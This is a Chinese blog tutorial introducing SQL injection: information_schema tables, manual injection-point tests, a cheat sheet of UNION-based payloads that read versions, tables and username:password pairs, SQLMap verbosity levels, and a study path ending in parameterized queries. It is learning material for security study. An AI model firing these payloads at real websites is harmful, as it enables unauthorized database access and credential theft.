Sublarge

// 安全研究 · 2025-10-25

SQL注入学习入门：手工注入与工具使用

本文系统介绍了SQL注入技术，包含基础知识、手工注入方法和SQLMap工具使用。首先讲解了核心系统库和数据结构层级，然后详细展示了手工注入的判断方法、数据库查询技巧和常用Payload。在工具使用部分，提供了SQLMap的常用命令和详细等级说明。最后建议的学习路径从理解原理到防御方案，循序渐进。全文约150字，涵盖SQL注入的核心知识点和实践方法。

数据库sql网络安全

一、基础知识

1. 核心系统库

information_schema.schemata    -- 存储所有数据库信息
information_schema.tables      -- 存储所有表信息  
information_schema.columns     -- 存储所有列信息
sql3 行

2. 数据结构层级

数据库(database) → 表(table) → 列(column) → 数据(data)
例：xxx库 → users表 → id,username,password列
text2 行

二、手工SQL注入

1. 注入点判断

# 经典测试方法
?id=1'          -- 报错测试
?id=1 and 1=1   -- 真条件，正常返回
?id=1 and 1=2   -- 假条件，无返回或异常
?id=1' --+      -- 注释测试（MySQL）
?id=1;--        -- 注释测试（SQL Server）
http6 行

2. 查询当前数据库所有库

-- 查询语法
SELECT schema_name FROM information_schema.schemata

-- 实际注入Payload
http://192.168.0.217/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata %23
sql5 行

3. 查询当前库所有表

-- 实际注入Payload
http://192.168.0.217/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
sql2 行

4. 常用Payload速查

目的 Payload
查版本 union select 1,2,version()
查当前库 union select 1,2,database()
查当前用户 union select 1,2,user()
查所有库 union select 1,2,group_concat(schema_name) from information_schema.schemata
查所有表 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查所有列 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
查数据 union select 1,2,group_concat(username,':',password) from users

三、SQLMap工具使用

1. 官方资源

2. 常用命令

3. 详细等级说明 (-v参数)

等级 说明
0 只显示Python错误和严重信息
1 同时显示信息和警告（默认）
2 同时显示调试信息
3 同时显示注入Payload
4 同时显示HTTP请求
5 同时显示HTTP响应头
6 同时显示HTTP响应内容

四、学习路径建议

第一阶段：理解原理
    ↓ 掌握SQL语法、数据库结构
第二阶段：手工注入
    ↓ 练习判断注入点、构造Payload、读取数据
第三阶段：工具使用
    ↓ 学习SQLMap参数、理解工具原理
第四阶段：绕过与防御
    ↓ 学习WAF绕过、掌握防御方案（参数化查询、预编译）
text8 行

原文 https://blog.csdn.net/2301_79518550/article/details/153873808